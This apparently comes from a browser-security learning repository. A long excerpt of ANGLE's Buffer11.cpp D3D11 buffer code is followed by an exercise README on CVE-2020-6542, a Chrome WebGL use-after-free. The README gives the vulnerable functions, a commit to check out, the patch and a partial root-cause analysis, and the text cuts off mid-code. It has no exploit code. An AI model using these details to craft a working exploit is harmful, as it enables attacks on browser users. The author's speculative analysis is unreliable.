Buffer11::initializeStaticData(const gl::Context *context) { BufferD3D::initializeStaticData(context); onStateChange(angle::SubjectMessage::SubjectChanged); } void Buffer11::invalidateStaticData(const gl::Context *context) { BufferD3D::invalidateStaticData(context); onStateChange(angle::SubjectMessage::SubjectChanged); } void Buffer11::onCopyStorage(BufferStorage *dest, BufferStorage *source) { ASSERT(source && mLatestBufferStorage); dest->setDataRevision(source->getDataRevision()); // Only update the latest buffer storage if our usage index is lower. See comment in header. if (dest->getUsage() < mLatestBufferStorage->getUsage()) { mLatestBufferStorage = dest; } } void Buffer11::onStorageUpdate(BufferStorage *updatedStorage) { updatedStorage->setDataRevision(updatedStorage->getDataRevision() + 1); mLatestBufferStorage = updatedStorage; } // Buffer11::BufferStorage implementation Buffer11::BufferStorage::BufferStorage(Renderer11 *renderer, BufferUsage usage) : mRenderer(renderer), mRevision(0), mUsage(usage), mBufferSize(0) {} angle::Result Buffer11::BufferStorage::setData(const gl::Context *context, const uint8_t *data, size_t offset, size_t size) { ASSERT(isCPUAccessible(GL_MAP_WRITE_BIT)); // Uniform storage can have a different internal size than the buffer size. Ensure we don't // overflow. size_t mapSize = std::min(size, mBufferSize - offset); uint8_t *writePointer = nullptr; ANGLE_TRY(map(context, offset, mapSize, GL_MAP_WRITE_BIT, &writePointer)); memcpy(writePointer, data, mapSize); unmap(); return angle::Result::Continue; } // Buffer11::NativeStorage implementation Buffer11::NativeStorage::NativeStorage(Renderer11 *renderer, BufferUsage usage, const angle::Subject *onStorageChanged) : BufferStorage(renderer, usage), mBuffer(), mOnStorageChanged(onStorageChanged) {} Buffer11::NativeStorage::~NativeStorage() { clearSRVs(); clearUAVs(); } bool Buffer11::NativeStorage::isCPUAccessible(GLbitfield access) const { if ((access & GL_MAP_READ_BIT) != 0) { // Read is more exclusive than write mappability. return (mUsage == BUFFER_USAGE_STAGING); } ASSERT((access & GL_MAP_WRITE_BIT) != 0); return (mUsage == BUFFER_USAGE_STAGING || mUsage == BUFFER_USAGE_UNIFORM || mUsage == BUFFER_USAGE_STRUCTURED); } // Returns true if it recreates the direct buffer angle::Result Buffer11::NativeStorage::copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) { size_t requiredSize = destOffset + size; // (Re)initialize D3D buffer if needed bool preserveData = (destOffset > 0); if (!mBuffer.valid() || mBufferSize < requiredSize) { ANGLE_TRY(resize(context, requiredSize, preserveData)); *resultOut = CopyResult::RECREATED; } else { *resultOut = CopyResult::NOT_RECREATED; } size_t clampedSize = size; if (mUsage == BUFFER_USAGE_UNIFORM) { clampedSize = std::min(clampedSize, mBufferSize - destOffset); } if (clampedSize == 0) { return angle::Result::Continue; } if (source->getUsage() == BUFFER_USAGE_PIXEL_PACK || source->getUsage() == BUFFER_USAGE_SYSTEM_MEMORY) { ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT) && isCPUAccessible(GL_MAP_WRITE_BIT)); // Uniform buffers must be mapped with write/discard. ASSERT(!(preserveData && mUsage == BUFFER_USAGE_UNIFORM)); uint8_t *sourcePointer = nullptr; ANGLE_TRY(source->map(context, sourceOffset, clampedSize, GL_MAP_READ_BIT, &sourcePointer)); auto err = setData(context, sourcePointer, destOffset, clampedSize); source->unmap(); ANGLE_TRY(err); } else { D3D11_BOX srcBox; srcBox.left = static_cast(sourceOffset); srcBox.right = static_cast(sourceOffset + clampedSize); srcBox.top = 0; srcBox.bottom = 1; srcBox.front = 0; srcBox.back = 1; const d3d11::Buffer *sourceBuffer = &GetAs(source)->getBuffer(); ID3D11DeviceContext *deviceContext = mRenderer->getDeviceContext(); deviceContext->CopySubresourceRegion(mBuffer.get(), 0, static_cast(destOffset), 0, 0, sourceBuffer->get(), 0, &srcBox); } return angle::Result::Continue; } angle::Result Buffer11::NativeStorage::resize(const gl::Context *context, size_t size, bool preserveData) { if (size == 0) { mBuffer.reset(); mBufferSize = 0; return angle::Result::Continue; } D3D11_BUFFER_DESC bufferDesc; FillBufferDesc(&bufferDesc, mRenderer, mUsage, static_cast(size)); d3d11::Buffer newBuffer; ANGLE_TRY( mRenderer->allocateResource(SafeGetImplAs(context), bufferDesc, &newBuffer)); newBuffer.setDebugName("Buffer11::NativeStorage"); if (mBuffer.valid() && preserveData) { // We don't call resize if the buffer is big enough already. ASSERT(mBufferSize <= size); D3D11_BOX srcBox; srcBox.left = 0; srcBox.right = static_cast(mBufferSize); srcBox.top = 0; srcBox.bottom = 1; srcBox.front = 0; srcBox.back = 1; ID3D11DeviceContext *deviceContext = mRenderer->getDeviceContext(); deviceContext->CopySubresourceRegion(newBuffer.get(), 0, 0, 0, 0, mBuffer.get(), 0, &srcBox); } // No longer need the old buffer mBuffer = std::move(newBuffer); mBufferSize = bufferDesc.ByteWidth; // Free the SRVs. clearSRVs(); // Free the UAVs. clearUAVs(); // Notify that the storage has changed. if (mOnStorageChanged) { mOnStorageChanged->onStateChange(angle::SubjectMessage::SubjectChanged); } return angle::Result::Continue; } // static void Buffer11::NativeStorage::FillBufferDesc(D3D11_BUFFER_DESC *bufferDesc, Renderer11 *renderer, BufferUsage usage, unsigned int bufferSize) { bufferDesc->ByteWidth = bufferSize; bufferDesc->MiscFlags = 0; bufferDesc->StructureByteStride = 0; switch (usage) { case BUFFER_USAGE_STAGING: bufferDesc->Usage = D3D11_USAGE_STAGING; bufferDesc->BindFlags = 0; bufferDesc->CPUAccessFlags = D3D11_CPU_ACCESS_READ | D3D11_CPU_ACCESS_WRITE; break; case BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK: bufferDesc->Usage = D3D11_USAGE_DEFAULT; bufferDesc->BindFlags = D3D11_BIND_VERTEX_BUFFER; if (renderer->isES3Capable()) { bufferDesc->BindFlags |= D3D11_BIND_STREAM_OUTPUT; } bufferDesc->CPUAccessFlags = 0; break; case BUFFER_USAGE_INDEX: bufferDesc->Usage = D3D11_USAGE_DEFAULT; bufferDesc->BindFlags = D3D11_BIND_INDEX_BUFFER; bufferDesc->CPUAccessFlags = 0; break; case BUFFER_USAGE_INDIRECT: bufferDesc->MiscFlags = D3D11_RESOURCE_MISC_DRAWINDIRECT_ARGS; bufferDesc->Usage = D3D11_USAGE_DEFAULT; bufferDesc->BindFlags = 0; bufferDesc->CPUAccessFlags = 0; break; case BUFFER_USAGE_PIXEL_UNPACK: bufferDesc->Usage = D3D11_USAGE_DEFAULT; bufferDesc->BindFlags = D3D11_BIND_SHADER_RESOURCE; bufferDesc->CPUAccessFlags = 0; break; case BUFFER_USAGE_UNIFORM: bufferDesc->Usage = D3D11_USAGE_DYNAMIC; bufferDesc->BindFlags = D3D11_BIND_CONSTANT_BUFFER; bufferDesc->CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; // Constant buffers must be of a limited size, and aligned to 16 byte boundaries // For our purposes we ignore any buffer data past the maximum constant buffer size bufferDesc->ByteWidth = roundUp(bufferDesc->ByteWidth, 16u); // Note: it seems that D3D11 allows larger buffers on some platforms, but not all. // (Windows 10 seems to allow larger constant buffers, but not Windows 7) if (!renderer->getRenderer11DeviceCaps().supportsConstantBufferOffsets) { bufferDesc->ByteWidth = std::min( bufferDesc->ByteWidth, static_cast(renderer->getNativeCaps().maxUniformBlockSize)); } break; case BUFFER_USAGE_RAW_UAV: bufferDesc->MiscFlags = D3D11_RESOURCE_MISC_BUFFER_ALLOW_RAW_VIEWS; bufferDesc->BindFlags = D3D11_BIND_UNORDERED_ACCESS; bufferDesc->Usage = D3D11_USAGE_DEFAULT; bufferDesc->CPUAccessFlags = 0; break; default: UNREACHABLE(); } } angle::Result Buffer11::NativeStorage::map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) { ASSERT(isCPUAccessible(access)); D3D11_MAPPED_SUBRESOURCE mappedResource; D3D11_MAP d3dMapType = gl_d3d11::GetD3DMapTypeFromBits(mUsage, access); UINT d3dMapFlag = ((access & GL_MAP_UNSYNCHRONIZED_BIT) != 0 ? D3D11_MAP_FLAG_DO_NOT_WAIT : 0); ANGLE_TRY( mRenderer->mapResource(context, mBuffer.get(), 0, d3dMapType, d3dMapFlag, &mappedResource)); ASSERT(mappedResource.pData); *mapPointerOut = static_cast(mappedResource.pData) + offset; return angle::Result::Continue; } void Buffer11::NativeStorage::unmap() { ASSERT(isCPUAccessible(GL_MAP_WRITE_BIT) || isCPUAccessible(GL_MAP_READ_BIT)); ID3D11DeviceContext *context = mRenderer->getDeviceContext(); context->Unmap(mBuffer.get(), 0); } angle::Result Buffer11::NativeStorage::getSRVForFormat(const gl::Context *context, DXGI_FORMAT srvFormat, const d3d11::ShaderResourceView **srvOut) { auto bufferSRVIt = mBufferResourceViews.find(srvFormat); if (bufferSRVIt != mBufferResourceViews.end()) { *srvOut = &bufferSRVIt->second; return angle::Result::Continue; } const d3d11::DXGIFormatSize &dxgiFormatInfo = d3d11::GetDXGIFormatSizeInfo(srvFormat); D3D11_SHADER_RESOURCE_VIEW_DESC bufferSRVDesc; bufferSRVDesc.Buffer.ElementOffset = 0; bufferSRVDesc.Buffer.ElementWidth = static_cast(mBufferSize) / dxgiFormatInfo.pixelBytes; bufferSRVDesc.ViewDimension = D3D11_SRV_DIMENSION_BUFFER; bufferSRVDesc.Format = srvFormat; ANGLE_TRY(mRenderer->allocateResource(GetImplAs(context), bufferSRVDesc, mBuffer.get(), &mBufferResourceViews[srvFormat])); *srvOut = &mBufferResourceViews[srvFormat]; return angle::Result::Continue; } angle::Result Buffer11::NativeStorage::getRawUAV(const gl::Context *context, unsigned int offset, unsigned int size, d3d11::UnorderedAccessView **uavOut) { ASSERT(offset + size <= mBufferSize); auto bufferRawUAV = mBufferRawUAVs.find({offset, size}); if (bufferRawUAV != mBufferRawUAVs.end()) { *uavOut = &bufferRawUAV->second; return angle::Result::Continue; } D3D11_UNORDERED_ACCESS_VIEW_DESC bufferUAVDesc; // DXGI_FORMAT_R32_TYPELESS uses 4 bytes per element constexpr int kBytesToElement = 4; bufferUAVDesc.Buffer.FirstElement = offset / kBytesToElement; bufferUAVDesc.Buffer.NumElements = size / kBytesToElement; bufferUAVDesc.Buffer.Flags = D3D11_BUFFER_UAV_FLAG_RAW; bufferUAVDesc.Format = DXGI_FORMAT_R32_TYPELESS; // Format must be DXGI_FORMAT_R32_TYPELESS, // when creating Raw Unordered Access View bufferUAVDesc.ViewDimension = D3D11_UAV_DIMENSION_BUFFER; ANGLE_TRY(mRenderer->allocateResource(GetImplAs(context), bufferUAVDesc, mBuffer.get(), &mBufferRawUAVs[{offset, size}])); *uavOut = &mBufferRawUAVs[{offset, size}]; return angle::Result::Continue; } void Buffer11::NativeStorage::clearSRVs() { mBufferResourceViews.clear(); } void Buffer11::NativeStorage::clearUAVs() { mBufferRawUAVs.clear(); } Buffer11::StructuredBufferStorage::StructuredBufferStorage(Renderer11 *renderer, BufferUsage usage, const angle::Subject *onStorageChanged) : NativeStorage(renderer, usage, onStorageChanged), mStructuredBufferResourceView() {} Buffer11::StructuredBufferStorage::~StructuredBufferStorage() { mStructuredBufferResourceView.reset(); } angle::Result Buffer11::StructuredBufferStorage::resizeStructuredBuffer( const gl::Context *context, unsigned int size, unsigned int structureByteStride) { if (size == 0) { mBuffer.reset(); mBufferSize = 0; return angle::Result::Continue; } D3D11_BUFFER_DESC bufferDesc; bufferDesc.ByteWidth = size; bufferDesc.MiscFlags = D3D11_RESOURCE_MISC_BUFFER_STRUCTURED; bufferDesc.StructureByteStride = structureByteStride; bufferDesc.Usage = D3D11_USAGE_DYNAMIC; bufferDesc.BindFlags = D3D11_BIND_SHADER_RESOURCE; bufferDesc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; d3d11::Buffer newBuffer; ANGLE_TRY( mRenderer->allocateResource(SafeGetImplAs(context), bufferDesc, &newBuffer)); newBuffer.setDebugName("Buffer11::StructuredBufferStorage"); // No longer need the old buffer mBuffer = std::move(newBuffer); mBufferSize = static_cast(bufferDesc.ByteWidth); mStructuredBufferResourceView.reset(); // Notify that the storage has changed. if (mOnStorageChanged) { mOnStorageChanged->onStateChange(angle::SubjectMessage::SubjectChanged); } return angle::Result::Continue; } angle::Result Buffer11::StructuredBufferStorage::getStructuredBufferRangeSRV( const gl::Context *context, unsigned int offset, unsigned int size, unsigned int structureByteStride, const d3d11::ShaderResourceView **srvOut) { if (mStructuredBufferResourceView.valid()) { *srvOut = &mStructuredBufferResourceView; return angle::Result::Continue; } D3D11_SHADER_RESOURCE_VIEW_DESC bufferSRVDesc = {}; bufferSRVDesc.BufferEx.NumElements = structureByteStride == 0u ? 1 : size / structureByteStride; bufferSRVDesc.BufferEx.FirstElement = 0; bufferSRVDesc.BufferEx.Flags = 0; bufferSRVDesc.ViewDimension = D3D11_SRV_DIMENSION_BUFFEREX; bufferSRVDesc.Format = DXGI_FORMAT_UNKNOWN; ANGLE_TRY(mRenderer->allocateResource(GetImplAs(context), bufferSRVDesc, mBuffer.get(), &mStructuredBufferResourceView)); *srvOut = &mStructuredBufferResourceView; return angle::Result::Continue; } // Buffer11::EmulatedIndexStorage implementation Buffer11::EmulatedIndexedStorage::EmulatedIndexedStorage(Renderer11 *renderer) : BufferStorage(renderer, BUFFER_USAGE_EMULATED_INDEXED_VERTEX), mBuffer() {} Buffer11::EmulatedIndexedStorage::~EmulatedIndexedStorage() {} angle::Result Buffer11::EmulatedIndexedStorage::getBuffer(const gl::Context *context, SourceIndexData *indexInfo, const TranslatedAttribute &attribute, GLint startVertex, const d3d11::Buffer **bufferOut) { Context11 *context11 = GetImplAs(context); // If a change in the indices applied from the last draw call is detected, then the emulated // indexed buffer needs to be invalidated. After invalidation, the change detected flag should // be cleared to avoid unnecessary recreation of the buffer. if (!mBuffer.valid() || indexInfo->srcIndicesChanged) { mBuffer.reset(); // Copy the source index data. This ensures that the lifetime of the indices pointer // stays with this storage until the next time we invalidate. size_t indicesDataSize = 0; switch (indexInfo->srcIndexType) { case gl::DrawElementsType::UnsignedInt: indicesDataSize = sizeof(GLuint) * indexInfo->srcCount; break; case gl::DrawElementsType::UnsignedShort: indicesDataSize = sizeof(GLushort) * indexInfo->srcCount; break; case gl::DrawElementsType::UnsignedByte: indicesDataSize = sizeof(GLubyte) * indexInfo->srcCount; break; default: indicesDataSize = sizeof(GLushort) * indexInfo->srcCount; break; } ANGLE_CHECK_GL_ALLOC(context11, mIndicesMemoryBuffer.resize(indicesDataSize)); memcpy(mIndicesMemoryBuffer.data(), indexInfo->srcIndices, indicesDataSize); indexInfo->srcIndicesChanged = false; } if (!mBuffer.valid()) { unsigned int offset = 0; ANGLE_TRY(attribute.computeOffset(context, startVertex, &offset)); // Expand the memory storage upon request and cache the results. unsigned int expandedDataSize = static_cast((indexInfo->srcCount * attribute.stride) + offset); angle::MemoryBuffer expandedData; ANGLE_CHECK_GL_ALLOC(context11, expandedData.resize(expandedDataSize)); // Clear the contents of the allocated buffer ZeroMemory(expandedData.data(), expandedDataSize); uint8_t *curr = expandedData.data(); const uint8_t *ptr = static_cast(indexInfo->srcIndices); // Ensure that we start in the correct place for the emulated data copy operation to // maintain offset behaviors. curr += offset; ReadIndexValueFunction readIndexValue = ReadIndexValueFromIndices; switch (indexInfo->srcIndexType) { case gl::DrawElementsType::UnsignedInt: readIndexValue = ReadIndexValueFromIndices; break; case gl::DrawElementsType::UnsignedShort: readIndexValue = ReadIndexValueFromIndices; break; case gl::DrawElementsType::UnsignedByte: readIndexValue = ReadIndexValueFromIndices; break; default: UNREACHABLE(); return angle::Result::Stop; } // Iterate over the cached index data and copy entries indicated into the emulated buffer. for (GLuint i = 0; i < indexInfo->srcCount; i++) { GLuint idx = readIndexValue(ptr, i); memcpy(curr, mMemoryBuffer.data() + (attribute.stride * idx), attribute.stride); curr += attribute.stride; } // Finally, initialize the emulated indexed native storage object with the newly copied data // and free the temporary buffers used. D3D11_BUFFER_DESC bufferDesc; bufferDesc.ByteWidth = expandedDataSize; bufferDesc.MiscFlags = 0; bufferDesc.StructureByteStride = 0; bufferDesc.Usage = D3D11_USAGE_DEFAULT; bufferDesc.BindFlags = D3D11_BIND_VERTEX_BUFFER; bufferDesc.CPUAccessFlags = 0; D3D11_SUBRESOURCE_DATA subResourceData = {expandedData.data(), 0, 0}; ANGLE_TRY(mRenderer->allocateResource(GetImplAs(context), bufferDesc, &subResourceData, &mBuffer)); mBuffer.setDebugName("Buffer11::EmulatedIndexedStorage"); } *bufferOut = &mBuffer; return angle::Result::Continue; } angle::Result Buffer11::EmulatedIndexedStorage::copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) { ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT)); uint8_t *sourceData = nullptr; ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData)); ASSERT(destOffset + size <= mMemoryBuffer.size()); memcpy(mMemoryBuffer.data() + destOffset, sourceData, size); source->unmap(); *resultOut = CopyResult::RECREATED; return angle::Result::Continue; } angle::Result Buffer11::EmulatedIndexedStorage::resize(const gl::Context *context, size_t size, bool preserveData) { if (mMemoryBuffer.size() < size) { Context11 *context11 = GetImplAs(context); ANGLE_CHECK_GL_ALLOC(context11, mMemoryBuffer.resize(size)); mBufferSize = size; } return angle::Result::Continue; } angle::Result Buffer11::EmulatedIndexedStorage::map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) { ASSERT(!mMemoryBuffer.empty() && offset + length <= mMemoryBuffer.size()); *mapPointerOut = mMemoryBuffer.data() + offset; return angle::Result::Continue; } void Buffer11::EmulatedIndexedStorage::unmap() { // No-op } // Buffer11::PackStorage implementation Buffer11::PackStorage::PackStorage(Renderer11 *renderer) : BufferStorage(renderer, BUFFER_USAGE_PIXEL_PACK), mStagingTexture(), mDataModified(false) {} Buffer11::PackStorage::~PackStorage() {} angle::Result Buffer11::PackStorage::copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) { ANGLE_TRY(flushQueuedPackCommand(context)); // For all use cases of pack buffers, we must copy through a readable buffer. ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT)); uint8_t *sourceData = nullptr; ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData)); ASSERT(destOffset + size <= mMemoryBuffer.size()); memcpy(mMemoryBuffer.data() + destOffset, sourceData, size); source->unmap(); *resultOut = CopyResult::NOT_RECREATED; return angle::Result::Continue; } angle::Result Buffer11::PackStorage::resize(const gl::Context *context, size_t size, bool preserveData) { if (size != mBufferSize) { Context11 *context11 = GetImplAs(context); ANGLE_CHECK_GL_ALLOC(context11, mMemoryBuffer.resize(size)); mBufferSize = size; } return angle::Result::Continue; } angle::Result Buffer11::PackStorage::map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) { ASSERT(offset + length <= getSize()); // TODO: fast path // We might be able to optimize out one or more memcpy calls by detecting when // and if D3D packs the staging texture memory identically to how we would fill // the pack buffer according to the current pack state. ANGLE_TRY(flushQueuedPackCommand(context)); mDataModified = (mDataModified || (access & GL_MAP_WRITE_BIT) != 0); *mapPointerOut = mMemoryBuffer.data() + offset; return angle::Result::Continue; } void Buffer11::PackStorage::unmap() { // No-op } angle::Result Buffer11::PackStorage::packPixels(const gl::Context *context, const gl::FramebufferAttachment &readAttachment, const PackPixelsParams ¶ms) { ANGLE_TRY(flushQueuedPackCommand(context)); RenderTarget11 *renderTarget = nullptr; ANGLE_TRY(readAttachment.getRenderTarget(context, 0, &renderTarget)); const TextureHelper11 &srcTexture = renderTarget->getTexture(); ASSERT(srcTexture.valid()); unsigned int srcSubresource = renderTarget->getSubresourceIndex(); mQueuedPackCommand.reset(new PackPixelsParams(params)); gl::Extents srcTextureSize(params.area.width, params.area.height, 1); if (!mStagingTexture.get() || mStagingTexture.getFormat() != srcTexture.getFormat() || mStagingTexture.getExtents() != srcTextureSize) { ANGLE_TRY(mRenderer->createStagingTexture(context, srcTexture.getTextureType(), srcTexture.getFormatSet(), srcTextureSize, StagingAccess::READ, &mStagingTexture)); } // ReadPixels from multisampled FBOs isn't supported in current GL ASSERT(srcTexture.getSampleCount() <= 1); ID3D11DeviceContext *immediateContext = mRenderer->getDeviceContext(); D3D11_BOX srcBox; srcBox.left = params.area.x; srcBox.right = params.area.x + params.area.width; srcBox.top = params.area.y; srcBox.bottom = params.area.y + params.area.height; // Select the correct layer from a 3D attachment srcBox.front = 0; if (mStagingTexture.is3D()) { srcBox.front = static_cast(readAttachment.layer()); } srcBox.back = srcBox.front + 1; // Asynchronous copy immediateContext->CopySubresourceRegion(mStagingTexture.get(), 0, 0, 0, 0, srcTexture.get(), srcSubresource, &srcBox); return angle::Result::Continue; } angle::Result Buffer11::PackStorage::flushQueuedPackCommand(const gl::Context *context) { ASSERT(mMemoryBuffer.size() > 0); if (mQueuedPackCommand) { ANGLE_TRY(mRenderer->packPixels(context, mStagingTexture, *mQueuedPackCommand, mMemoryBuffer.data())); mQueuedPackCommand.reset(nullptr); } return angle::Result::Continue; } // Buffer11::SystemMemoryStorage implementation Buffer11::SystemMemoryStorage::SystemMemoryStorage(Renderer11 *renderer) : Buffer11::BufferStorage(renderer, BUFFER_USAGE_SYSTEM_MEMORY) {} angle::Result Buffer11::SystemMemoryStorage::copyFromStorage(const gl::Context *context, BufferStorage *source, size_t sourceOffset, size_t size, size_t destOffset, CopyResult *resultOut) { ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT)); uint8_t *sourceData = nullptr; ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData)); ASSERT(destOffset + size <= mSystemCopy.size()); memcpy(mSystemCopy.data() + destOffset, sourceData, size); source->unmap(); *resultOut = CopyResult::RECREATED; return angle::Result::Continue; } angle::Result Buffer11::SystemMemoryStorage::resize(const gl::Context *context, size_t size, bool preserveData) { if (mSystemCopy.size() < size) { Context11 *context11 = GetImplAs(context); ANGLE_CHECK_GL_ALLOC(context11, mSystemCopy.resize(size)); mBufferSize = size; } return angle::Result::Continue; } angle::Result Buffer11::SystemMemoryStorage::map(const gl::Context *context, size_t offset, size_t length, GLbitfield access, uint8_t **mapPointerOut) { ASSERT(!mSystemCopy.empty() && offset + length <= mSystemCopy.size()); *mapPointerOut = mSystemCopy.data() + offset; return angle::Result::Continue; } void Buffer11::SystemMemoryStorage::unmap() { // No-op } } // namespace rx ================================================ FILE: LEVEL_1/exercise_1/README.md ================================================ # Exercise 1 ## CVE-2020-6542 I choose **CVE-2020-6542**, and I sugget you don't search any report about it to prevents get too much info like patch. ### Details > Google Chrome WebGL Buffer11::getBufferStorage Code Execution Vulnerability > > Google Chrome is a cross-platform web browser developed by Google. It supports many features, including WebGL (Web Graphics Library), a JavaScript API for rendering interactive 2-D and 3-D graphics. > > In some specific cases after binding a zero size buffer we could end up trying to use a buffer storage that was no longer valid. Fix this by ensuring we don't flush dirty bits when we have an early exit due to a zero size buffer. ---------
For more info click me! Chromium crashes inside the `Buffer11::getBufferStorage` function. This is because newStorage element points to previously freed memory, leading to a use-after-free vulnerability.
**You'd better read some doc about ANGLE to understand the source code** -------- ### Version Google Chrome 84.0.4147.89 Google Chrome 85.0.4169.0 (Developer Build) (64-bit) we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/034a8b3f3c5c8e7e1629b8ac88cadb72ea68cf23/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp#246) ### Related code May be you need fetch the source code ``` git clone https://chromium.googlesource.com/angle/angle cd angle git reset --hard 50a2725742948702720232ba46be3c1f03822ada ``` ```c++ angle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context, const gl::AttributesMask &activeDirtyAttribs) { const auto &glState = context->getState(); const auto &attribs = mState.getVertexAttributes(); const auto &bindings = mState.getVertexBindings(); for (size_t dirtyAttribIndex : activeDirtyAttribs) { mAttribsToTranslate.reset(dirtyAttribIndex); auto *translatedAttrib = &mTranslatedAttribs[dirtyAttribIndex]; const auto ¤tValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex); // Record basic attrib info translatedAttrib->attribute = &attribs[dirtyAttribIndex]; translatedAttrib->binding = &bindings[translatedAttrib->attribute->bindingIndex]; translatedAttrib->currentValueType = currentValue.Type; translatedAttrib->divisor = translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor; switch (mAttributeStorageTypes[dirtyAttribIndex]) { case VertexStorageType::DIRECT: VertexDataManager::StoreDirectAttrib(context, translatedAttrib); break; case VertexStorageType::STATIC: { // can early exit ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib)); break; } case VertexStorageType::CURRENT_VALUE: // Current value attribs are managed by the StateManager11. break; default: UNREACHABLE(); break; } } return angle::Result::Continue; } ========================================================= template BitSetT &BitSetT::reset(ParamT pos) { ASSERT(mBits == (mBits & Mask(N))); mBits &= ~Bit(pos); return *this; } ========================================================= #define ANGLE_TRY(EXPR) ANGLE_TRY_TEMPLATE(EXPR, ANGLE_RETURN) #define ANGLE_TRY_TEMPLATE(EXPR, FUNC) \ do \ { \ auto ANGLE_LOCAL_VAR = EXPR; \ if (ANGLE_UNLIKELY(IsError(ANGLE_LOCAL_VAR))) \ { \ FUNC(ANGLE_LOCAL_VAR); \ } \ } while (0) ========================================================= inline bool IsError(angle::Result result) { return result == angle::Result::Stop; } ``` ```c++ angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context, TranslatedAttribute *translated) { ASSERT(translated->attribute && translated->binding); const auto &attrib = *translated->attribute; const auto &binding = *translated->binding; gl::Buffer *buffer = binding.getBuffer().get(); ASSERT(buffer && attrib.enabled && !DirectStoragePossible(context, attrib, binding)); BufferD3D *bufferD3D = GetImplAs(buffer); // Compute source data pointer const uint8_t *sourceData = nullptr; const int offset = static_cast(ComputeVertexAttributeOffset(attrib, binding)); ANGLE_TRY(bufferD3D->getData(context, &sourceData)); if (sourceData) { sourceData += offset; } [ ... ] ``` ```c++ angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData) { if (mSize == 0) { // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust // buffer access behavior mode if there are buffers without any data. However, technically // it should still be possible to draw, with fetches from this buffer returning zero. return angle::Result::Stop; } SystemMemoryStorage *systemMemoryStorage = nullptr; ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage)); ASSERT(systemMemoryStorage->getSize() >= mSize); *outData = systemMemoryStorage->getSystemCopy()->data(); return angle::Result::Continue; } ``` ```c++ template angle::Result Buffer11::getBufferStorage(const gl::Context *context, BufferUsage usage, StorageOutT **storageOut) { ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT); BufferStorage *&newStorage = mBufferStorages[usage]; if (!newStorage) { newStorage = allocateStorage(usage); } markBufferUsage(usage); // resize buffer if (newStorage->getSize() < mSize) { ANGLE_TRY(newStorage->resize(context, mSize, true)); } ASSERT(newStorage); ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize)); ANGLE_TRY(garbageCollection(context, usage)); *storageOut = GetAs(newStorage); return angle::Result::Continue; } ``` ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer The answer I write is incomplete, the following answer doesn't mention the reletion between patch and uaf -_-. Recently I have no time to debug PoC to get the truely answer. So I hope you can correct this. patch: ```diff diff --git a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp index 6bb0bf8..a5f8b6a 100644 --- a/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp +++ b/src/libANGLE/renderer/d3d/d3d11/VertexArray11.cpp @@ -253,8 +253,6 @@ for (size_t dirtyAttribIndex : activeDirtyAttribs) { - mAttribsToTranslate.reset(dirtyAttribIndex); - auto *translatedAttrib = &mTranslatedAttribs[dirtyAttribIndex]; const auto ¤tValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex); @@ -282,6 +280,9 @@ UNREACHABLE(); break; } + + // Make sure we reset the dirty bit after the switch because STATIC can early exit. + mAttribsToTranslate.reset(dirtyAttribIndex); } return angle::Result::Continue; ``` doc about [dirty bits](https://chromium.googlesource.com/angle/angle/+/50a2725742948702720232ba46be3c1f03822ada/doc/DirtyBits.md) ```c++ angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData) { if (mSize == 0) { return angle::Result::Stop; [1] } SystemMemoryStorage *systemMemoryStorage = nullptr; // call getBufferStorage ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage)); } ``` incomplete answer: [1] `Buffer11::getData` can return `angle::Result::Stop` if `mSize == 0` ```c++ angle::Result VertexDataManager::StoreStaticAttrib(const gl::Context *context, TranslatedAttribute *translated) { BufferD3D *bufferD3D = GetImplAs(buffer); // Compute source data pointer const uint8_t *sourceData = nullptr; const int offset = static_cast(ComputeVertexAttributeOffset(attrib, binding)); ANGLE_TRY(bufferD3D->getData(context, &sourceData)); [2] if (sourceData) { sourceData += offset; } [ ... ] ========================================================== Buffer11::~Buffer11() { for (BufferStorage *&storage : mBufferStorages) { SafeDelete(storage); } [ ... ] ``` [2] call `Buffer11::getData` in `ANGLE_TRY`, because `mSize == 0` it can return `Stop` then exit early. Finally call `Buffer11::~Buffer11()`, it can free `mBufferStorages`. One possible situation (maybe wrong) is we can get the raw buffer early because the "early exit", and the `Buffer11::~Buffer11()` have not been trigger. I can call `getBufferStorage` in other path during `~Buffer11()` before `mBufferStorages[usage]` was set to null. ```c++ template angle::Result Buffer11::getBufferStorage(const gl::Context *context, BufferUsage usage, StorageOutT **storageOut) { 